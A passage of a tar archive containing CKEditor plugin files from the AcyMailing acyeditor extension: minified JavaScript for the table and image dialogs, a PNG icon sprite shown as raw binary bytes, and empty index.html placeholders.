(f.renameNode("th"),f.setAttribute("scope","col"));j.append(h.remove())}if(null!==c.$.tHead&&!("row"==e||"both"==e)){j=new CKEDITOR.dom.element(c.$.tHead);h=c.getElementsByTag("tbody").getItem(0);for(k=h.getFirst();0<j.getChildCount();){h=j.getFirst();for(i=0;i<h.getChildCount();i++)f=h.getChild(i),f.type==CKEDITOR.NODE_ELEMENT&&(f.renameNode("td"),f.removeAttribute("scope"));h.insertBefore(k)}j.remove()}if(!this.hasColumnHeaders&&("col"==e||"both"==e))for(j=0;j<c.$.rows.length;j++)f=new CKEDITOR.dom.element(c.$.rows[j].cells[0]),
f.renameNode("th"),f.setAttribute("scope","row");if(this.hasColumnHeaders&&!("col"==e||"both"==e))for(i=0;i<c.$.rows.length;i++)j=new CKEDITOR.dom.element(c.$.rows[i]),"tbody"==j.getParent().getName()&&(f=new CKEDITOR.dom.element(j.$.cells[0]),f.renameNode("td"),f.removeAttribute("scope"));b.txtHeight?c.setStyle("height",b.txtHeight):c.removeStyle("height");b.txtWidth?c.setStyle("width",b.txtWidth):c.removeStyle("width");c.getAttribute("style")||c.removeAttribute("style")}if(this._.selectedElement)try{g.selectBookmarks(d)}catch(m){}else a.insertElement(c),
setTimeout(function(){var g=new CKEDITOR.dom.element(c.$.rows[0].cells[0]),b=a.createRange();b.moveToPosition(g,CKEDITOR.POSITION_AFTER_START);b.select()},0)},contents:[{id:"info",label:a.lang.table.title,elements:[{type:"hbox",widths:[null,null],styles:["vertical-align:top"],children:[{type:"vbox",padding:0,children:[{type:"text",id:"txtRows","default":3,label:a.lang.table.rows,required:!0,controlStyle:"width:5em",validate:o(a.lang.table.invalidRows),setup:function(a){this.setValue(a.$.rows.length)},
commit:k},{type:"text",id:"txtCols","default":2,label:a.lang.table.columns,required:!0,controlStyle:"width:5em",validate:o(a.lang.table.invalidCols),setup:function(a){this.setValue(r(a))},commit:k},{type:"html",html:"&nbsp;"},{type:"select",id:"selHeaders",requiredContent:"th","default":"",label:a.lang.table.headers,items:[[a.lang.table.headersNone,""],[a.lang.table.headersRow,"row"],[a.lang.table.headersColumn,"col"],[a.lang.table.headersBoth,"both"]],setup:function(a){var d=this.getDialog();d.hasColumnHeaders=
!0;for(var c=0;c<a.$.rows.length;c++){var b=a.$.rows[c].cells[0];if(b&&"th"!=b.nodeName.toLowerCase()){d.hasColumnHeaders=!1;break}}null!==a.$.tHead?this.setValue(d.hasColumnHeaders?"both":"row"):this.setValue(d.hasColumnHeaders?"col":"")},commit:k},{type:"text",id:"txtBorder",requiredContent:"table[border]","default":a.filter.check("table[border]")?1:0,label:a.lang.table.border,controlStyle:"width:3em",validate:CKEDITOR.dialog.validate.number(a.lang.table.invalidBorder),setup:function(a){this.setValue(a.getAttribute("border")||
"")},commit:function(a,d){this.getValue()?d.setAttribute("border",this.getValue()):d.removeAttribute("border")}},{id:"cmbAlign",type:"select",requiredContent:"table[align]","default":"",label:a.lang.common.align,items:[[a.lang.common.notSet,""],[a.lang.common.alignLeft,"left"],[a.lang.common.alignCenter,"center"],[a.lang.common.alignRight,"right"]],setup:function(a){this.setValue(a.getAttribute("align")||"")},commit:function(a,d){this.getValue()?d.setAttribute("align",this.getValue()):d.removeAttribute("align")}}]},
{type:"vbox",padding:0,children:[{type:"hbox",widths:["5em"],children:[{type:"text",id:"txtWidth",requiredContent:"table{width}",controlStyle:"width:5em",label:a.lang.common.width,title:a.lang.common.cssLengthTooltip,"default":a.filter.check("table{width}")?500>n.getSize("width")?"100%":500:0,getValue:q,validate:CKEDITOR.dialog.validate.cssLength(a.lang.common.invalidCssLength.replace("%1",a.lang.common.width)),onChange:function(){var a=this.getDialog().getContentElement("advanced","advStyles");a&&
a.updateStyle("width",this.getValue())},setup:function(a){this.setValue(a.getStyle("width"))},commit:k}]},{type:"hbox",widths:["5em"],children:[{type:"text",id:"txtHeight",requiredContent:"table{height}",controlStyle:"width:5em",label:a.lang.common.height,title:a.lang.common.cssLengthTooltip,"default":"",getValue:q,validate:CKEDITOR.dialog.validate.cssLength(a.lang.common.invalidCssLength.replace("%1",a.lang.common.height)),onChange:function(){var a=this.getDialog().getContentElement("advanced","advStyles");
a&&a.updateStyle("height",this.getValue())},setup:function(a){(a=a.getStyle("height"))&&this.setValue(a)},commit:k}]},{type:"html",html:"&nbsp;"},{type:"text",id:"txtCellSpace",requiredContent:"table[cellspacing]",controlStyle:"width:3em",label:a.lang.table.cellSpace,"default":a.filter.check("table[cellspacing]")?1:0,validate:CKEDITOR.dialog.validate.number(a.lang.table.invalidCellSpacing),setup:function(a){this.setValue(a.getAttribute("cellSpacing")||"")},commit:function(a,d){this.getValue()?d.setAttribute("cellSpacing",
this.getValue()):d.removeAttribute("cellSpacing")}},{type:"text",id:"txtCellPad",requiredContent:"table[cellpadding]",controlStyle:"width:3em",label:a.lang.table.cellPad,"default":a.filter.check("table[cellpadding]")?1:0,validate:CKEDITOR.dialog.validate.number(a.lang.table.invalidCellPadding),setup:function(a){this.setValue(a.getAttribute("cellPadding")||"")},commit:function(a,d){this.getValue()?d.setAttribute("cellPadding",this.getValue()):d.removeAttribute("cellPadding")}}]}]},{type:"html",align:"right",
html:""},{type:"vbox",padding:0,children:[{type:"text",id:"txtCaption",requiredContent:"caption",label:a.lang.table.caption,setup:function(a){this.enable();a=a.getElementsByTag("caption");if(0<a.count()){var a=a.getItem(0),d=a.getFirst(CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT));d&&!d.equals(a.getBogus())?(this.disable(),this.setValue(a.getText())):(a=CKEDITOR.tools.trim(a.getText()),this.setValue(a))}},commit:function(e,d){if(this.isEnabled()){var c=this.getValue(),b=d.getElementsByTag("caption");
if(c)0<b.count()?(b=b.getItem(0),b.setHtml("")):(b=new CKEDITOR.dom.element("caption",a.document),d.getChildCount()?b.insertBefore(d.getFirst()):b.appendTo(d)),b.append(new CKEDITOR.dom.text(c,a.document));else if(0<b.count())for(c=b.count()-1;0<=c;c--)b.getItem(c).remove()}}},{type:"text",id:"txtSummary",requiredContent:"table[summary]",label:a.lang.table.summary,setup:function(a){this.setValue(a.getAttribute("summary")||"")},commit:function(a,d){this.getValue()?d.setAttribute("summary",this.getValue()):
d.removeAttribute("summary")}}]}]},m&&m.createAdvancedTab(a,null,"table")]}}var q=CKEDITOR.tools.cssLength,k=function(a){var e=this.id;a.info||(a.info={});a.info[e]=this.getValue()};CKEDITOR.dialog.add("table",function(a){return n(a,"table")});CKEDITOR.dialog.add("tableProperties",function(a){return n(a,"tableProperties")})})();                                                                                                                                                                                                                                                                                                                                                                                                                                            editors/acyeditor/acyeditor/ckeditor/plugins/icons2.png                                             0000705                 00000024063 15242051521 0017353 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     P       IDATx}{pk<43G3Go!$YCoa$Q#pHݥ.w	u/Kyr8K˽fx666lc[,[y̹Lw{fd1U]|qs  `?gԩ3u}I,$ $ vacR5|w]]uϟ+Vv޳gVϛ7olsj @$I (Plٲ~2d7	Xclcl1qHYe9^]1LB<ov\;v;f͚"SO=ǶMY	b"Hᰭ7 89VAF"FDc]]]oRYYYS&$I0ƾ@YwwvAh" 7cxCCC1"
0ƴ	qB!L&dqV+jjjpYxC] 0LpH&d29:11qzڵw0"ٚ) l B ~|Ʒ@Dn|>qu(▯fA066g
[n==HDC˗/ED%fe9]`-c	Ap' 3ƎE1& 1w qh3g|16U&zM7v[oD4W(7
D"qi| k=TY:9sGAjl06csAA$(?BR-i2%hs*ȪQ.KjR0`2  X*8$	DQqܾgϞ}>؝wI˖-wy'L&wŋӏckoooMя~H Z |1y"9s@Dؼy3c16{1֣۷o?f͚FÁaahh(9::G O;A;>[Kf3<L(D(2(ONNbڵܞ={Bp^ di>z D ˗ 3g`Ϟ=r=-> gu3bKp`fJ̞=x("$JKKQ]]<3pؿ|ӦM1LLLG}49k֬48O)"KD'_Ҡ%x)ԭHporv8'rwAZGss?tMϷ~s΍:thY"Q'=u77n \tҖ-[>  c쭬0<#?D"P(W\^488nv=	 p|>h4;,--kii!D= lŔf:Vl6q.&Dyԩ >l~~QH$Dĥs5I$q@DxMEa4}u{ST1IW?2>&"Iu]WE ba5H_c(:.Sg8
 .cL4)1A4jZ`	R,11/!|FEl^@ŀ/*26mXIk
 LYW7%*}11d<((HgnΜ9x衇PRRA #HB!~bi8bXF!  ,{⦵f:QWw[5bf3H$L&ӨhuyAPTTQ+---ZY	Bc`Ճ u81444RIæM%F\suww=ND+ϻX8G2ikk}饗 z$QNE"z[\rf1PkTAAC/,v;v mYX9| g:1c!0V/fk	);βb0pIlذa){{{{w̛7㗿v 7p PZZ,111 7*^YY1!L5gϞťK011 oK3gΝ;I~#DdowU=ppnF@DЎ;..\WH  w߂}"SODӣ>VlllL<S'/i466Rss"Tg׾WtF jkk/ՙ ?}^M8 |+Zx|V m޼i"_'߀z#Uyծ#-\\.RQ-X,J"P!aXtD7c\MalnhqՔiI@IDKDDĩmZaֱnǦȟ~@\' c`@^0B^D4ot	HD^0/4@\`A/ٻEEEcH)Qmن+**KVP`+((ذ|RϷGw,Y`Z#Z/,[c``='[[[bmd29w:sȑcG,o͛B<Gmm-N8x,//16XaÆã1χ&|=+ʚD"'=/褴"^w=c@ZY-H5mF 8ʝ;w~ l`Cgg|Ͷ,**z;ڸv}h```g{{{x˖-OQ)믿>ӳRl C>[:m)񎎎D.|	LS "<s >R~wwwv~hIID4m۷o5 կ*ۈԙCk׮=9Q/NNыDTi"qV'0^`C/Bn'q^!y 7 xo9s& oH} خ&pѣ|cc쾾 D& mc{nSS )ND (eq1oj͜\Ϝ93:%4S6F,HSiҚ|&(kq!+&a_M!+ƥPp&.(498 i샌wy(PPPjDD[ZWS&g\f~\s984` ^|1!(=vp	EDH&x?*#<BV5!`͚50wl6CFzH&bǫdNb#olFII	L&S
 RŋbqnϘEy!"L1>쳟«lX ~
s6`4 Z[[2s57q Kcc!%tIɬj	g/Rgljd޻?b
]ҎK"F Luj^XCC!Jn 3ҹ6bY?007o|> v;dE~sGaaQ w'	D"tvv:l6I1 SNٝN4<ApQ`̙D011a?~<͡PH抚 )7O HN\VVD" I h`ንzEfD|Ii ~*_ 
i.1D`@D<NITsxr7A.ADRP28xE<I}u3v|kd b7Yŋħ ?(?K O$p%->*@D&Bu.Nۑn~`Z2)Edʋ jcLJI"*G8ӑٳUqѺu
y_ ( jhMyfڢs!9aSxjPx<oa )k荓J&ģڕ2	{PXX˳,}= X,W鍬DT|~g?_pW6_Լ!͸Qv8oxE |AVIDS/ho;Ř/0pcjqV_N@ @D:-Z햚Wٯ N	H:)OT°>ar%}@DGGGGw9}YWÜ}ދ|A)ſT}K^_PBl"Ƙ#-XVa U.**~L2)[U uV5D#X ŷN~!&''/1hii^9+b֭[	LGaPRR9s DD"p8,q??e-FðX,P,[Dx<.Wnf,j"l)	J5}J,h3l4clB͉*qۄI$	0!	'-h<$ cݺu^ź:o[jJ=EVg+++@aaa=Dt!TD]"jTqѯS\qHyx-=;ҸlҬ΀@_/T}pF(AzpD͛GMMMdZHX"/($狋鮻lcdǏÇq9%鮫ÁXLR`PqjjjPWW N>@!%'	W`q8ВFex<A2*)I^&	Ľn0EAAAPccc&h4v0L "adSrr+)"jժ-jkkuuuz/[nI+׈ߍ~LD~Qo\ {}S΋QoqY*7`i^BʰSW,&T9HD)V*555TUUE4"HDP(պ[ynN[ZCoDNRpDDD(_Hduu5QHf;KVVVZsij[YY1lSo6JɊQР uR XzV(]b+Vz
W^BI'(@yL{[,ZWĨZis,`0xz0c,YQQ<c/gϞ=1vjmXhӂ իWo޲eˣ ˖-[#)Tltg #]]];cjDd&-ZΝ;AD;(3+L檪ᎎD{{;Ӭ: gg̘1LDڤM姐k׮u8|nAORfb'(|jL?Rvcj'$RU]+^t)-]D" 4׌1٭[YYo2`2PVVUUUk/	hm g+1J<fh{x>wH>lܸtd2ܸq10p@O`#l \<ӓ r?Oq/06W1j\(wDAA,y=|t }g:
@Yw)kQZ& n%"yU'=i
#}Z<F}pZQ]TTҦc Jg}bdgԏQ'˴#	"F|g_t|!df籊j\BF-qo ;kaBJJJ8BBY#d2R2yZ2ZQKO1f>?Ǩ%s>[TWWܹsL&xB&:::hܹ$9\18x㍌A%oלN 1ӧOlɓ'a6! coԷg ʲLk t-Pkkkbkk+r-D5SF,))L)+ P?  O
":^RRYپoWD(d\DX'B=P!=ADWl4UPbIe~*<S}}=,X BFF @.f"ž2477%N(
ΝÛo laH 7-Xr;v6;vHypè@(8$U C<Ͽ
PQQkܹsydVwclV ;m`hhH}2u~\"_ZDy_ЌeZXUTfD`ij	X A s가ƥhPVSP*PWPk5Y(Ebw' P[[5ւ+2ލX>5|S3]]!맫+2Xjs^˓qy4Fz>M3.K7tO].OW/(Y񮮮~^$bDS/455 ϋ>*An=CkHʕ|Zhf#Dp7o~	H2HwVNr#* 鱮AF@\сIK=P;)fPAB{ԔU477:酴ܸ4MKWr%	-s2pstL@|Az"BGZ>..ч+|~]dy+cUa֬Yoz<?LQRR t#,@# gM]]kxx8?cJ7bcl] /^Fx kX*&6hEEEU$t:
 ߏ%KժŋeL여PsD"y {K+`㨯1&4V!HuH555xwY!9nǝ ,))YQ[XHG4'mmoo?p8g^ti4bObϨXc lqx[[q\`hhYvu9 ~-^RwJKβFs;KKK]d/00Bv477g%xR^j
W*e >O  ^W{!n1NIMn*q ())!lu8 5kvD[,+qSQQ= r!ټYiƋMrOggm67 cs]`vJ
$ϟ {1kCgggNLʿN3
 ;tMAc%Mq(##K9Di:W̍i-Ot,RM
5r&rѓDTKDg!klQQ>]1"'/UY/'@}҆~ E]!l6z '^`UΗ̝;wYqq o6@ggm 	R'rw_ggg1OpW$]П\唲y:H?mC'0W8{1H LTbdKy8
@DZX,FDR.3i1l6̘1$"J(:;;`y=X,Oٳ"h}z2Zϰ5I3LXsX,yq>v|9>dt"R+:9***@'<U3jȶVuYVR`bN".0`s 'R/ >RMӃ# _2Fqر	2^={63Ej0Mj_ٯ~Nǃx<d2	"ĉ<e@ ,F%o  IDAT\pEaaa0 G	p8pݨDMMM]`2rypUUUyaN %%%bڵ+ "'w}jll$q]i8kɜk쫏?f},]Dtd&$wffM"oʕu	DR0`'Q7|@΁fKKZǳ)iu#-fd2tܹ/x80\sMKQQV+da20::W_}u R3^ZZp8X8'\` +//oݴi~uctt8s3gΜy `bbCCC|17kkkgΜsϡ@@	EEEKvttgo1>P}O~-C6l6ǏK3ߙ+W'lFDR6d<DDn`C/zr燗j#H|Qy  9	%+)F>-1#G7% z$	h41}~sxx8 O'	444@WWW "(~?,]E=P(JL@,b }fb1y]>,,IX,w}H;;::֏br9k@nt}MH逿a[x@  s*x.]<3[8
3?rX,aZPXX:ʿϜ9`K%d2	ADz=Q=^wt1v'c,OlFSına= syyjbmhhX2AZҢlX"0gU,nkksI^rlloc~####BUnllf2ct:QUU%wTAAN:@  ͆d2ƻ{ӧOl``}tttb1K",1n-<Ϟ;v| ~C1WRk3?jVH3恖[oz!;w MgٖB4EkkfC={B	 thiiq
p'h4	-/8}bg*** C=ҥKBPu<ٳ3<t:qѪc7p1ޥKb\s]I/b~a`~Ej	ZM'=yeVWWG k8<"^8d2I/R+WfڸIm'y<:]TT+.[+K9sy FGGos@Diݞ1K\ijkkzjp)*b柸	3f@ii;	x###«	 PTTSr:Oox:X5$$v*PqGZ-q"|׾&WRB9soVZi*9k9?>xkAH$;wndF,H	"?z{{[c-\D-Mw1dVV"B<cJNH3HꑚM
SeJxU*H	A099ʧp&ǝ 	WiAt0p#a:|A\ksS6RFXsDH.\uBMR
"*T5_pcns6Ai|@G/ |+EԜ"kyvR*:_rx^X֌Ej#u\,g^	Dd3u<f6An7y^]!#d<׬XG2pF\z    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                             editors/acyeditor/acyeditor/ckeditor/plugins/image/index.html                                       0000705                 00000000054 15242051521 0020521 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/image/dialogs/index.html                               0000705                 00000000054 15242051521 0022143 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/image/dialogs/image.js                                 0000705                 00000050331 15242051521 0021571 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
(function(){var r=function(c,j){function r(){var a=arguments,b=this.getContentElement("advanced","txtdlgGenStyle");b&&b.commit.apply(b,a);this.foreach(function(b){b.commit&&"txtdlgGenStyle"!=b.id&&b.commit.apply(b,a)})}function i(a){if(!s){s=1;var b=this.getDialog(),d=b.imageElement;if(d){this.commit(f,d);for(var a=[].concat(a),e=a.length,c,g=0;g<e;g++)(c=b.getContentElement.apply(b,a[g].split(":")))&&c.setup(f,d)}s=0}}var f=1,k=/^\s*(\d+)((px)|\%)?\s*$/i,v=/(^\s*(\d+)((px)|\%)?\s*$)|^$/i,o=/^\d+px$/,
w=function(){var a=this.getValue(),b=this.getDialog(),d=a.match(k);d&&("%"==d[2]&&l(b,!1),a=d[1]);b.lockRatio&&(d=b.originalElement,"true"==d.getCustomData("isReady")&&("txtHeight"==this.id?(a&&"0"!=a&&(a=Math.round(d.$.width*(a/d.$.height))),isNaN(a)||b.setValueOf("info","txtWidth",a)):(a&&"0"!=a&&(a=Math.round(d.$.height*(a/d.$.width))),isNaN(a)||b.setValueOf("info","txtHeight",a))));g(b)},g=function(a){if(!a.originalElement||!a.preview)return 1;a.commitContent(4,a.preview);return 0},s,l=function(a,
b){if(!a.getContentElement("info","ratioLock"))return null;var d=a.originalElement;if(!d)return null;if("check"==b){if(!a.userlockRatio&&"true"==d.getCustomData("isReady")){var e=a.getValueOf("info","txtWidth"),c=a.getValueOf("info","txtHeight"),d=1E3*d.$.width/d.$.height,f=1E3*e/c;a.lockRatio=!1;!e&&!c?a.lockRatio=!0:!isNaN(d)&&!isNaN(f)&&Math.round(d)==Math.round(f)&&(a.lockRatio=!0)}}else void 0!==b?a.lockRatio=b:(a.userlockRatio=1,a.lockRatio=!a.lockRatio);e=CKEDITOR.document.getById(p);a.lockRatio?
e.removeClass("cke_btn_unlocked"):e.addClass("cke_btn_unlocked");e.setAttribute("aria-checked",a.lockRatio);CKEDITOR.env.hc&&e.getChild(0).setHtml(a.lockRatio?CKEDITOR.env.ie?"■":"▣":CKEDITOR.env.ie?"□":"▢");return a.lockRatio},x=function(a){var b=a.originalElement;if("true"==b.getCustomData("isReady")){var d=a.getContentElement("info","txtWidth"),e=a.getContentElement("info","txtHeight");d&&d.setValue(b.$.width);e&&e.setValue(b.$.height)}g(a)},y=function(a,b){function d(a,b){var d=a.match(k);return d?
("%"==d[2]&&(d[1]+="%",l(e,!1)),d[1]):b}if(a==f){var e=this.getDialog(),c="",g="txtWidth"==this.id?"width":"height",h=b.getAttribute(g);h&&(c=d(h,c));c=d(b.getStyle(g),c);this.setValue(c)}},t,q=function(){var a=this.originalElement,b=CKEDITOR.document.getById(m);a.setCustomData("isReady","true");a.removeListener("load",q);a.removeListener("error",h);a.removeListener("abort",h);b&&b.setStyle("display","none");this.dontResetSize||x(this);this.firstLoad&&CKEDITOR.tools.setTimeout(function(){l(this,"check")},
0,this);this.dontResetSize=this.firstLoad=!1;g(this)},h=function(){var a=this.originalElement,b=CKEDITOR.document.getById(m);a.removeListener("load",q);a.removeListener("error",h);a.removeListener("abort",h);a=CKEDITOR.getUrl(CKEDITOR.plugins.get("image").path+"images/noimage.png");this.preview&&this.preview.setAttribute("src",a);b&&b.setStyle("display","none");l(this,!1)},n=function(a){return CKEDITOR.tools.getNextId()+"_"+a},p=n("btnLockSizes"),u=n("btnResetSize"),m=n("ImagePreviewLoader"),A=n("previewLink"),
z=n("previewImage");return{title:c.lang.image["image"==j?"title":"titleButton"],minWidth:420,minHeight:360,onShow:function(){this.linkEditMode=this.imageEditMode=this.linkElement=this.imageElement=!1;this.lockRatio=!0;this.userlockRatio=0;this.dontResetSize=!1;this.firstLoad=!0;this.addLink=!1;var a=this.getParentEditor(),b=a.getSelection(),d=(b=b&&b.getSelectedElement())&&a.elementPath(b).contains("a",1),c=CKEDITOR.document.getById(m);c&&c.setStyle("display","none");t=new CKEDITOR.dom.element("img",
a.document);this.preview=CKEDITOR.document.getById(z);this.originalElement=a.document.createElement("img");this.originalElement.setAttribute("alt","");this.originalElement.setCustomData("isReady","false");if(d){this.linkElement=d;this.linkEditMode=!0;c=d.getChildren();if(1==c.count()){var g=c.getItem(0).getName();if("img"==g||"input"==g)this.imageElement=c.getItem(0),"img"==this.imageElement.getName()?this.imageEditMode="img":"input"==this.imageElement.getName()&&(this.imageEditMode="input")}"image"==
j&&this.setupContent(2,d)}if(this.customImageElement)this.imageEditMode="img",this.imageElement=this.customImageElement,delete this.customImageElement;else if(b&&"img"==b.getName()&&!b.data("cke-realelement")||b&&"input"==b.getName()&&"image"==b.getAttribute("type"))this.imageEditMode=b.getName(),this.imageElement=b;this.imageEditMode?(this.cleanImageElement=this.imageElement,this.imageElement=this.cleanImageElement.clone(!0,!0),this.setupContent(f,this.imageElement)):this.imageElement=a.document.createElement("img");
l(this,!0);CKEDITOR.tools.trim(this.getValueOf("info","txtUrl"))||(this.preview.removeAttribute("src"),this.preview.setStyle("display","none"))},onOk:function(){if(this.imageEditMode){var a=this.imageEditMode;"image"==j&&"input"==a&&confirm(c.lang.image.button2Img)?(this.imageElement=c.document.createElement("img"),this.imageElement.setAttribute("alt",""),c.insertElement(this.imageElement)):"image"!=j&&"img"==a&&confirm(c.lang.image.img2Button)?(this.imageElement=c.document.createElement("input"),
this.imageElement.setAttributes({type:"image",alt:""}),c.insertElement(this.imageElement)):(this.imageElement=this.cleanImageElement,delete this.cleanImageElement)}else"image"==j?this.imageElement=c.document.createElement("img"):(this.imageElement=c.document.createElement("input"),this.imageElement.setAttribute("type","image")),this.imageElement.setAttribute("alt","");this.linkEditMode||(this.linkElement=c.document.createElement("a"));this.commitContent(f,this.imageElement);this.commitContent(2,this.linkElement);
this.imageElement.getAttribute("style")||this.imageElement.removeAttribute("style");this.imageEditMode?!this.linkEditMode&&this.addLink?(c.insertElement(this.linkElement),this.imageElement.appendTo(this.linkElement)):this.linkEditMode&&!this.addLink&&(c.getSelection().selectElement(this.linkElement),c.insertElement(this.imageElement)):this.addLink?this.linkEditMode?c.insertElement(this.imageElement):(c.insertElement(this.linkElement),this.linkElement.append(this.imageElement,!1)):c.insertElement(this.imageElement)},
onLoad:function(){"image"!=j&&this.hidePage("Link");var a=this._.element.getDocument();this.getContentElement("info","ratioLock")&&(this.addFocusable(a.getById(u),5),this.addFocusable(a.getById(p),5));this.commitContent=r},onHide:function(){this.preview&&this.commitContent(8,this.preview);this.originalElement&&(this.originalElement.removeListener("load",q),this.originalElement.removeListener("error",h),this.originalElement.removeListener("abort",h),this.originalElement.remove(),this.originalElement=
!1);delete this.imageElement},contents:[{id:"info",label:c.lang.image.infoTab,accessKey:"I",elements:[{type:"vbox",padding:0,children:[{type:"hbox",widths:["280px","110px"],align:"right",children:[{id:"txtUrl",type:"text",label:c.lang.common.url,required:!0,onChange:function(){var a=this.getDialog(),b=this.getValue();if(0<b.length){var a=this.getDialog(),d=a.originalElement;a.preview&&a.preview.removeStyle("display");d.setCustomData("isReady","false");var c=CKEDITOR.document.getById(m);c&&c.setStyle("display",
"");d.on("load",q,a);d.on("error",h,a);d.on("abort",h,a);d.setAttribute("src",b);a.preview&&(t.setAttribute("src",b),a.preview.setAttribute("src",t.$.src),g(a))}else a.preview&&(a.preview.removeAttribute("src"),a.preview.setStyle("display","none"))},setup:function(a,b){if(a==f){var d=b.data("cke-saved-src")||b.getAttribute("src");this.getDialog().dontResetSize=!0;this.setValue(d);this.setInitValue()}},commit:function(a,b){a==f&&(this.getValue()||this.isChanged())?(b.data("cke-saved-src",this.getValue()),
b.setAttribute("src",this.getValue())):8==a&&(b.setAttribute("src",""),b.removeAttribute("src"))},validate:CKEDITOR.dialog.validate.notEmpty(c.lang.image.urlMissing)},{type:"button",id:"browse",style:"display:inline-block;margin-top:14px;",align:"center",label:c.lang.common.browseServer,hidden:!0,filebrowser:"info:txtUrl"}]}]},{id:"txtAlt",type:"text",label:c.lang.image.alt,accessKey:"T","default":"",onChange:function(){g(this.getDialog())},setup:function(a,b){a==f&&this.setValue(b.getAttribute("alt"))},
commit:function(a,b){a==f?(this.getValue()||this.isChanged())&&b.setAttribute("alt",this.getValue()):4==a?b.setAttribute("alt",this.getValue()):8==a&&b.removeAttribute("alt")}},{type:"hbox",children:[{id:"basic",type:"vbox",children:[{type:"hbox",requiredContent:"img{width,height}",widths:["50%","50%"],children:[{type:"vbox",padding:1,children:[{type:"text",width:"45px",id:"txtWidth",label:c.lang.common.width,onKeyUp:w,onChange:function(){i.call(this,"advanced:txtdlgGenStyle")},validate:function(){var a=
this.getValue().match(v);(a=!!(a&&0!==parseInt(a[1],10)))||alert(c.lang.common.invalidWidth);return a},setup:y,commit:function(a,b,d){var e=this.getValue();a==f?(e&&c.activeFilter.check("img{width,height}")?b.setStyle("width",CKEDITOR.tools.cssLength(e)):b.removeStyle("width"),!d&&b.removeAttribute("width")):4==a?e.match(k)?b.setStyle("width",CKEDITOR.tools.cssLength(e)):(a=this.getDialog().originalElement,"true"==a.getCustomData("isReady")&&b.setStyle("width",a.$.width+"px")):8==a&&(b.removeAttribute("width"),
b.removeStyle("width"))}},{type:"text",id:"txtHeight",width:"45px",label:c.lang.common.height,onKeyUp:w,onChange:function(){i.call(this,"advanced:txtdlgGenStyle")},validate:function(){var a=this.getValue().match(v);(a=!!(a&&0!==parseInt(a[1],10)))||alert(c.lang.common.invalidHeight);return a},setup:y,commit:function(a,b,d){var e=this.getValue();a==f?(e&&c.activeFilter.check("img{width,height}")?b.setStyle("height",CKEDITOR.tools.cssLength(e)):b.removeStyle("height"),!d&&b.removeAttribute("height")):
4==a?e.match(k)?b.setStyle("height",CKEDITOR.tools.cssLength(e)):(a=this.getDialog().originalElement,"true"==a.getCustomData("isReady")&&b.setStyle("height",a.$.height+"px")):8==a&&(b.removeAttribute("height"),b.removeStyle("height"))}}]},{id:"ratioLock",type:"html",style:"margin-top:30px;width:40px;height:40px;",onLoad:function(){var a=CKEDITOR.document.getById(u),b=CKEDITOR.document.getById(p);a&&(a.on("click",function(a){x(this);a.data&&a.data.preventDefault()},this.getDialog()),a.on("mouseover",
function(){this.addClass("cke_btn_over")},a),a.on("mouseout",function(){this.removeClass("cke_btn_over")},a));b&&(b.on("click",function(a){l(this);var b=this.originalElement,c=this.getValueOf("info","txtWidth");if(b.getCustomData("isReady")=="true"&&c){b=b.$.height/b.$.width*c;if(!isNaN(b)){this.setValueOf("info","txtHeight",Math.round(b));g(this)}}a.data&&a.data.preventDefault()},this.getDialog()),b.on("mouseover",function(){this.addClass("cke_btn_over")},b),b.on("mouseout",function(){this.removeClass("cke_btn_over")},
b))},html:'<div><a href="javascript:void(0)" tabindex="-1" title="'+c.lang.image.lockRatio+'" class="cke_btn_locked" id="'+p+'" role="checkbox"><span class="cke_icon"></span><span class="cke_label">'+c.lang.image.lockRatio+'</span></a><a href="javascript:void(0)" tabindex="-1" title="'+c.lang.image.resetSize+'" class="cke_btn_reset" id="'+u+'" role="button"><span class="cke_label">'+c.lang.image.resetSize+"</span></a></div>"}]},{type:"vbox",padding:1,children:[{type:"text",id:"txtBorder",requiredContent:"img{border-width}",
width:"60px",label:c.lang.image.border,"default":"",onKeyUp:function(){g(this.getDialog())},onChange:function(){i.call(this,"advanced:txtdlgGenStyle")},validate:CKEDITOR.dialog.validate.integer(c.lang.image.validateBorder),setup:function(a,b){if(a==f){var d;d=(d=(d=b.getStyle("border-width"))&&d.match(/^(\d+px)(?: \1 \1 \1)?$/))&&parseInt(d[1],10);isNaN(parseInt(d,10))&&(d=b.getAttribute("border"));this.setValue(d)}},commit:function(a,b,d){var c=parseInt(this.getValue(),10);a==f||4==a?(isNaN(c)?!c&&
this.isChanged()&&b.removeStyle("border"):(b.setStyle("border-width",CKEDITOR.tools.cssLength(c)),b.setStyle("border-style","solid")),!d&&a==f&&b.removeAttribute("border")):8==a&&(b.removeAttribute("border"),b.removeStyle("border-width"),b.removeStyle("border-style"),b.removeStyle("border-color"))}},{type:"text",id:"txtHSpace",requiredContent:"img{margin-left,margin-right}",width:"60px",label:c.lang.image.hSpace,"default":"",onKeyUp:function(){g(this.getDialog())},onChange:function(){i.call(this,
"advanced:txtdlgGenStyle")},validate:CKEDITOR.dialog.validate.integer(c.lang.image.validateHSpace),setup:function(a,b){if(a==f){var d,c;d=b.getStyle("margin-left");c=b.getStyle("margin-right");d=d&&d.match(o);c=c&&c.match(o);d=parseInt(d,10);c=parseInt(c,10);d=d==c&&d;isNaN(parseInt(d,10))&&(d=b.getAttribute("hspace"));this.setValue(d)}},commit:function(a,b,d){var c=parseInt(this.getValue(),10);a==f||4==a?(isNaN(c)?!c&&this.isChanged()&&(b.removeStyle("margin-left"),b.removeStyle("margin-right")):
